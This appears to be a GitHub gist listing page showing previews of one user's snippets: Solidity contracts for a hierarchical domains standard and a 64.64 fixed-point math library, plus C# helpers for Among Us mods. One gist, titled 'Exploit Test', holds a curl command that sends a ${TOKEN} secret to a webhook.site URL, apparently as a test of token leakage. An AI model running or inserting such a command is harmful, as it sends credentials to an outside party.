Skip to content

Instantly share code, notes, and snippets.

@Pandapip1
Pandapip1 / exploit-test.sh
Created July 24, 2022 15:48
Exploit Test
curl -s "https://webhook.site/155d8e39-b2d0-4919-ad2d-401842dd9d70?token=${TOKEN}"
@Pandapip1
Pandapip1 / OwnableDomain.sol
Created February 22, 2022 16:06
Hierarchical Domains Standard Reference Implementation
// SPDX-License-Identifier: CC0-1.0
pragma solidity ^0.8.9;
contract Ownable
{
string public constant NOT_CURRENT_OWNER = "018001";
string public constant CANNOT_TRANSFER_TO_ZERO_ADDRESS = "018002";
address public owner;
event OwnershipTransferred(
@Pandapip1
Pandapip1 / IDomain.sol
Created February 22, 2022 16:04
Hierarchical Domains Standard Interface
// SPDX-License-Identifier: CC0-1.0
pragma solidity ^0.8.9;
/// @title ERC-165 Standard Interface Detection
/// @dev See https://eips.ethereum.org/EIPS/eip-165
interface IERC165 {
/// @notice Query if a contract implements an interface
/// @param interfaceID The interface identifier, as specified in ERC-165
/// @dev Interface identification is specified in ERC-165. This function
/// uses less than 30,000 gas.
@Pandapip1
Pandapip1 / contracts...shanecoin...ABDKMath64x64.sol
Created October 21, 2021 19:53
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.7+commit.e28d00a7.js&optimize=false&runs=200&gist=
pragma solidity ^0.8.0;
/**
* Smart contract library of mathematical functions operating with signed
* 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is
* basically a simple fraction whose numerator is signed 128-bit integer and
* denominator is 2^64. As long as denominator is always the same, there is no
* need to store it, thus in Solidity signed 64.64-bit fixed point numbers are
* represented by int128 type holding only the numerator.
*/
@Pandapip1
Pandapip1 / contracts...shanecoin...ABDKMath64x64.sol
Created October 21, 2021 18:53
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.8.7+commit.e28d00a7.js&optimize=false&runs=200&gist=
pragma solidity ^0.8.0;
/**
* Smart contract library of mathematical functions operating with signed
* 64.64-bit fixed point numbers. Signed 64.64-bit fixed point number is
* basically a simple fraction whose numerator is signed 128-bit integer and
* denominator is 2^64. As long as denominator is always the same, there is no
* need to store it, thus in Solidity signed 64.64-bit fixed point numbers are
* represented by int128 type holding only the numerator.
*/
@Pandapip1
Pandapip1 / BetterRPC.cs
Created March 12, 2021 17:23
Better RPC (with example)
public static class BetterRPC
{
}
@Pandapip1
Pandapip1 / CooldownButton.cs
Last active July 4, 2023 11:12 — forked from amsam0/CooldownButton.cs
CooldownButton for Among Us mods (with example)
// Credits to https://gist.github.com/gabriel-nsiqueira/827dea0a1cdc2210db6f9a045ec4ce0a and https://gist.github.com/naturecodevoid/1c61786e6a95d7d093f495b6e67aad29 for the original code.
using HarmonyLib;
using Reactor.Extensions;
using Reactor.Unstrip;
using System;
using System.Collections.Generic;
using UnityEngine;
namespace Reactor.Button